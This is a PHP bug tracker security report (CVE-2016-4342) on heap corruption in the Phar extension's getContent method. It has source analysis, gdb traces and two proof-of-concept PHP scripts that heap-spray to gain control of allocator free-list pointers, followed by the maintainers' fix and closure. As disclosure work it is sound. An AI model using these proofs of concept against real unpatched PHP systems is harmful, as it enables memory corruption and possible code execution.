php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71354 Heap corruption in tar/zip/phar parser.
Submitted: 2016-01-12 20:46 UTC Modified: 2016-04-28 16:59 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: PHAR related
PHP Version: 5.5.31 OS: Linux, Mac
Private report: No CVE-ID: 2016-4342
 [2016-01-12 20:46 UTC] manhluat at vnsecurity dot net
Description:
------------
There is an issue when parsing .tar/.zip./.phar file.

Assume that, I have a .tar file with empty file "aaaa" (0 byte), so its uncompressed_filesize is 0.

then we dump its content through getContent() method of PharFileInfo like:

var_dump($phar['aaaa']->getContent();

Okie now we're gonna check inside of this method.


------------------------------
ext/phar/phar_object.c:

PHP_METHOD(PharFileInfo, getContent)
{
...snip...
	Z_TYPE_P(return_value) = IS_STRING;
	Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);

	if (!Z_STRVAL_P(return_value)) {
		Z_STRVAL_P(return_value) = estrndup("", 0);
	}
...
}

Remember that uncompress_filesize is 0, so it is passed into php_stream_copy_to_mem function through 3rd parameter.

------------------------------

main/streams/streams.c:

PHPAPI size_t _php_stream_copy_to_mem(php_stream *src, char **buf, size_t maxlen, int persistent STREAMS_DC TSRMLS_DC)
{
...snip...
	if (maxlen == 0) {
		return 0;
	}
...
	if (maxlen > 0) {
		ptr = *buf = pemalloc_rel_orig(maxlen + 1, persistent);
		while ((len < maxlen) && !php_stream_eof(src)) {
			ret = php_stream_read(src, ptr, maxlen - len);
...
}


You can see them above.

If maxlen == 0, then it returns 0 and there is nothing to happens. Otherwise, *buf (2nd args) will be assigned by heap allocation, and read data from current file pointer normally.

Ok get back to our situation.


------------------------------


But our issues is...zval `return_value` is "uninitialized variable", return_value->str.val is some pointer on old stack frame in function's context which is called previously. You can see it below through gdb:


------------------------------
=> 0x817aacc <zim_PharFileInfo_getContent+300>: call   0x8267ad0 <_php_stream_copy_to_mem>
   0x817aad1 <zim_PharFileInfo_getContent+305>: mov    ecx,DWORD PTR [esp+0x54]
   0x817aad5 <zim_PharFileInfo_getContent+309>: mov    DWORD PTR [ecx+0x4],eax
   0x817aad8 <zim_PharFileInfo_getContent+312>: mov    eax,DWORD PTR [ecx]
   0x817aada <zim_PharFileInfo_getContent+314>: test   eax,eax
Guessed arguments:
arg[0]: 0xf7bd9a04 --> 0x8806a40 --> 0x826cad0 (<php_stdiop_write>:     push   ebx)
arg[1]: 0xf7bdd4b8 --> 0xf7bdd56c --> 0x1d 
arg[2]: 0x0 
arg[3]: 0x0 

Breakpoint 2, 0x0817aacc in zim_PharFileInfo_getContent (ht=0x0, return_value=0xf7bdd4b8, return_value_ptr=0xf7bbf094, this_ptr=0xf7bdd49c, return_value_used=0x1) at /root/fuzz/php-5.6.17/ext/phar/phar_object.c:4889
4889            Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);

------------------------------


"0xf7bdd56c" is current return_value->str.val.

So as I described earlier, if maxlen == 0 then <_php_stream_copy_to_mem> will return 0 and nothing is assigned to *buf (2nd parameter) => return_value->str.val will be old-value after this call !!!

See below.
------------------------------
=> 0x817aad1 <zim_PharFileInfo_getContent+305>: mov    ecx,DWORD PTR [esp+0x54]
   0x817aad5 <zim_PharFileInfo_getContent+309>: mov    DWORD PTR [ecx+0x4],eax
   0x817aad8 <zim_PharFileInfo_getContent+312>: mov    eax,DWORD PTR [ecx]
   0x817aada <zim_PharFileInfo_getContent+314>: test   eax,eax
   0x817aadc <zim_PharFileInfo_getContent+316>: jne    0x817aa21 <zim_PharFileInfo_getContent+129>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0817aad1      4889            Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);
gdb-peda$ x/10wx 0xf7bdd4b8
0xf7bdd4b8:     0xf7bdd56c      0x088086a0      0x00000001      0x00000006
0xf7bdd4c8:     0x00000000      0x00000010      0x0000001d      0x08820b20
0xf7bdd4d8:     0xf7bd97c4      0x00000091
gdb-peda$ print *(zval*)0xf7bdd4b8
$2 = {
  value = {
    lval = 0xf7bdd56c, 
    dval = 1.0010109254636237e-267, 
    str = {
      val = 0xf7bdd56c "\035", 
      len = 0x88086a0
    }, 
    ht = 0xf7bdd56c, 
    obj = {
      handle = 0xf7bdd56c, 
      handlers = 0x88086a0 <spl_filesystem_object_handlers>
    }, 
    ast = 0xf7bdd56c
  }, 
  refcount__gc = 0x1, 
  type = 0x6, 
  is_ref__gc = 0x0
}
------------------------------

0xf7bdd56c still be in ZVAL(return_value).

Later, this str.val pointer will be passed into _efree to do clear vm stack.

So, by somehow, I've managed to control previous block of 0xf7bdd56c, and absolutely can control next_block of mm_block (ESI register). Please scroll and see it below. 


------------------------------
zend_alloc.c:

static void _zend_mm_free_int(zend_mm_heap *heap, void *p ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
...

	next_block = ZEND_MM_BLOCK_AT(mm_block, size);
	if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
		zend_mm_remove_from_free_list(heap, (zend_mm_free_block *) next_block);
		size += ZEND_MM_FREE_BLOCK_SIZE(next_block);
	}
...


We can take over this next_block and probably control heap further.




* Notice:
- This poc may not work to you, it bases on stack/heap data. If it doesnt, please do some stuff to spray the heap.
- Affects 
- PoC can run on 32 and 64bit.
- Works on Linux and Mac as well. 


* Fix
- We should init ZVAL(return_val) before get in <php_stream_copy_to_mem>.




Test script:
---------------
<?php

echo "Making .tar file...\n";

$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');

echo "Trigger...\n";

//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',0x13371337);


$p = new PharData($argv[1]);

// heap spray 
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;

var_dump($p['aaaa']->getContent());

// If this poc doesnt work, please un-comment line below.
// var_dump($p);
?>

At the first run, it would try to make poc.tar which contains empty file named "aaaa".
Then run "./sapi/cli/php ./poc.php ./poc.tar".



Expected result:
----------------
Program received signal SIGSEGV, Segmentation fault.

And we could control next_block (see $ESI register) of mm_block at zend_alloc.c:947

then we probably control heap memory to leak/write somewhere we want.

Actual result:
--------------
gdb-peda$ r
Starting program: /root/test/php-5.6.17/sapi/cli/php ./poc.php ./poc.tar
Making .tar file...
Trigger...
string(0) ""

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xaf4e898 
EBX: 0x8804000 --> 0x8803dd8 --> 0x1 
ECX: 0xf7bdd564 --> 0x13371337 
EDX: 0xf7bdd56c --> 0x1d 
ESI: 0x13371334 
EDI: 0xf7bdd56c --> 0x1d 
EBP: 0x8820a58 --> 0x1 
ESP: 0xffffa020 --> 0x82e15f7 (<zend_objects_store_del_ref_by_handle_ex+7>:     add    ebx,0x522a09)
EIP: 0x82893cb (<_zend_mm_free_int+123>:        test   BYTE PTR [eax],0x1)
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x82893c2 <_zend_mm_free_int+114>:   mov    eax,DWORD PTR [esp+0x8]
   0x82893c6 <_zend_mm_free_int+118>:   sub    DWORD PTR [ebp+0x34],esi
   0x82893c9 <_zend_mm_free_int+121>:   add    eax,esi
=> 0x82893cb <_zend_mm_free_int+123>:   test   BYTE PTR [eax],0x1
   0x82893ce <_zend_mm_free_int+126>:   mov    DWORD PTR [esp+0xc],eax
   0x82893d2 <_zend_mm_free_int+130>:   je     0x8289429 <_zend_mm_free_int+217>
   0x82893d4 <_zend_mm_free_int+132>:   mov    eax,DWORD PTR [edi-0x4]
   0x82893d7 <_zend_mm_free_int+135>:   test   al,0x1
[------------------------------------stack-------------------------------------]
0000| 0xffffa020 --> 0x82e15f7 (<zend_objects_store_del_ref_by_handle_ex+7>:    add    ebx,0x522a09)
0004| 0xffffa024 --> 0x8804000 --> 0x8803dd8 --> 0x1 
0008| 0xffffa028 --> 0xf7bdd564 --> 0x13371337 
0012| 0xffffa02c --> 0x8804000 --> 0x8803dd8 --> 0x1 
0016| 0xffffa030 --> 0x1 
0020| 0xffffa034 --> 0x881e740 --> 0x0 
0024| 0xffffa038 --> 0x88428c8 --> 0x1 
0028| 0xffffa03c --> 0x8804000 --> 0x8803dd8 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
_zend_mm_free_int (heap=0x8820a58, p=p@entry=0xf7bdd56c) at /root/test/php-5.6.17/Zend/zend_alloc.c:2104
2104            if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
gdb-peda$ print p
$1 = (void *) 0xf7bdd56c
gdb-peda$ x/10wx p-8
0xf7bdd564:     0x13371337      0x00000035      0x0000001d      0x00000091
0xf7bdd574:     0xf7bdd5a4      0x088086a0      0x00000000      0x00000005
0xf7bdd584:     0x00000000      0x0000001d
gdb-peda$ x/10wx p-16
0xf7bdd55c:     0x43434343      0x04444444      0x13371337      0x00000035
0xf7bdd56c:     0x0000001d      0x00000091      0xf7bdd5a4      0x088086a0
0xf7bdd57c:     0x00000000      0x00000005
gdb-peda$ bt
#0  _zend_mm_free_int (heap=0x8820a58, p=p@entry=0xf7bdd56c) at /root/test/php-5.6.17/Zend/zend_alloc.c:2104
#1  0x0828b7d8 in _efree (ptr=0xf7bdd56c) at /root/test/php-5.6.17/Zend/zend_alloc.c:2440
#2  0x082b22dc in _zval_dtor_func (zvalue=zvalue@entry=0xf7bdd4b8) at /root/test/php-5.6.17/Zend/zend_variables.c:46
#3  0x08361378 in _zval_dtor (zvalue=0xf7bdd4b8) at /root/test/php-5.6.17/Zend/zend_variables.h:35
#4  i_zval_ptr_dtor (zval_ptr=0xf7bdd4b8) at /root/test/php-5.6.17/Zend/zend_execute.h:79
#5  zend_vm_stack_clear_multiple (nested=0x0) at /root/test/php-5.6.17/Zend/zend_execute.h:308
#6  zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:650
#7  0x082f1446 in execute_ex (execute_data=execute_data@entry=0xf7bbf3c0) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:363
#8  0x0835f272 in zend_execute (op_array=0xf7bd8f44) at /root/test/php-5.6.17/Zend/zend_vm_execute.h:388
#9  0x082b4c1e in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /root/test/php-5.6.17/Zend/zend.c:1341
#10 0x0824ef3e in php_execute_script (primary_file=primary_file@entry=0xffffc438) at /root/test/php-5.6.17/main/main.c:2597
#11 0x08363473 in do_cli (argc=argc@entry=0x3, argv=argv@entry=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:994
#12 0x08063f04 in main (argc=0x3, argv=0x8820888) at /root/test/php-5.6.17/sapi/cli/php_cli.c:1378
#13 0xf7c40a83 in __libc_start_main (main=0x80639f0 <main>, argc=0x3, argv=0xffffd744, init=0x836c520 <__libc_csu_init>, fini=0x836c590 <__libc_csu_fini>, rtld_fini=0xf7feb180 <_dl_fini>, stack_end=0xffffd73c) at libc-start.c:287
#14 0x08063f8a in _start ()
gdb-peda$ 

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-13 04:22 UTC] manhluat at vnsecurity dot net
I've made a new PoC which take over prev/next block with arbitrary value. 

---------------------------------
<?php

echo "Making .tar file...\n";

$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');

echo "Trigger...\n";

//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',-17); // offset


$p = new PharData($argv[1]);

// heap spray 
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;

var_dump($p['aaaa']->getContent());

?>

----------------------------
CRASH SUMMARY


gdb-peda$ c
Continuing.
string(0) ""

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8820a58 --> 0x1 
EBX: 0x8804000 --> 0x8803dd8 --> 0x1 
ECX: 0x42424242 ('BBBB')
EDX: 0xf7bdd550 --> 0x4444444 
ESI: 0x43434343 ('CCCC')
EDI: 0xf7bdd56c --> 0x1d 
EBP: 0x8820a58 --> 0x1 
ESP: 0xffffa010 --> 0xf7bddba0 --> 0xf7bddb98 --> 0x1f468 
EIP: 0x82892d0 (<zend_mm_remove_from_free_list+208>:    cmp    edx,DWORD PTR [ecx+0xc])
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x82892c5 <zend_mm_remove_from_free_list+197>:       add    ecx,0x18
   0x82892c8 <zend_mm_remove_from_free_list+200>:       mov    DWORD PTR [eax+0x10],ecx
   0x82892cb <zend_mm_remove_from_free_list+203>:       jmp    0x8289248 <zend_mm_remove_from_free_list+72>
=> 0x82892d0 <zend_mm_remove_from_free_list+208>:       cmp    edx,DWORD PTR [ecx+0xc]
   0x82892d3 <zend_mm_remove_from_free_list+211>:       jne    0x8289260 <zend_mm_remove_from_free_list+96>
   0x82892d5 <zend_mm_remove_from_free_list+213>:       cmp    edx,DWORD PTR [esi+0x8]
   0x82892d8 <zend_mm_remove_from_free_list+216>:       jne    0x8289260 <zend_mm_remove_from_free_list+96>
   0x82892da <zend_mm_remove_from_free_list+218>:       mov    edi,DWORD PTR [edx]
[------------------------------------stack-------------------------------------]
0000| 0xffffa010 --> 0xf7bddba0 --> 0xf7bddb98 --> 0x1f468 
0004| 0xffffa014 --> 0xffffffec 
0008| 0xffffa018 --> 0xf7bdd56c --> 0x1d 
0012| 0xffffa01c --> 0x8289432 (<_zend_mm_free_int+226>:        mov    eax,DWORD PTR [esp+0xc])
0016| 0xffffa020 --> 0x82e15f7 (<zend_objects_store_del_ref_by_handle_ex+7>:    add    ebx,0x522a09)
0020| 0xffffa024 --> 0x8804000 --> 0x8803dd8 --> 0x1 
0024| 0xffffa028 --> 0xf7bdd564 --> 0xffffffef 
0028| 0xffffa02c --> 0xf7bdd550 --> 0x4444444 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
zend_mm_remove_from_free_list (heap=0x8820a58, mm_block=0xf7bdd550) at /root/test/php-5.6.17/Zend/zend_alloc.c:837
837                     if (UNEXPECTED(prev->next_free_block != mm_block) || UNEXPECTED(next->prev_free_block != mm_block)) {
gdb-peda$ print prev
$5 = (zend_mm_free_block *) 0x42424242
gdb-peda$ print next
$6 = (zend_mm_free_block *) 0x43434343
gdb-peda$
 [2016-01-14 00:37 UTC] stas@php.net
The patch is in https://gist.github.com/smalyshev/80ba8551fb1e69f4e1ac and security repo as 13ad4d3e971807f9a58ab5933182907dc2958539. Please verify.
 [2016-01-14 00:46 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-01-14 00:46 UTC] stas@php.net
-PHP Version: 5.6.17 +PHP Version: 5.5.31
 [2016-01-14 05:09 UTC] manhluat at vnsecurity dot net
Okay, bug is fixed.
 [2016-02-02 03:19 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=13ad4d3e971807f9a58ab5933182907dc2958539
Log: Fix bug #71354 - remove UMR when size is 0
 [2016-02-02 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-02-02 03:36 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=13ad4d3e971807f9a58ab5933182907dc2958539
Log: Fix bug #71354 - remove UMR when size is 0
 [2016-02-02 04:46 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=13ad4d3e971807f9a58ab5933182907dc2958539
Log: Fix bug #71354 - remove UMR when size is 0
 [2016-03-07 13:54 UTC] manhluat at vnsecurity dot net
hello folks,

Can we assign a CVE for this ? :)
 [2016-04-28 16:59 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-4342
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 10:01:30 2024 UTC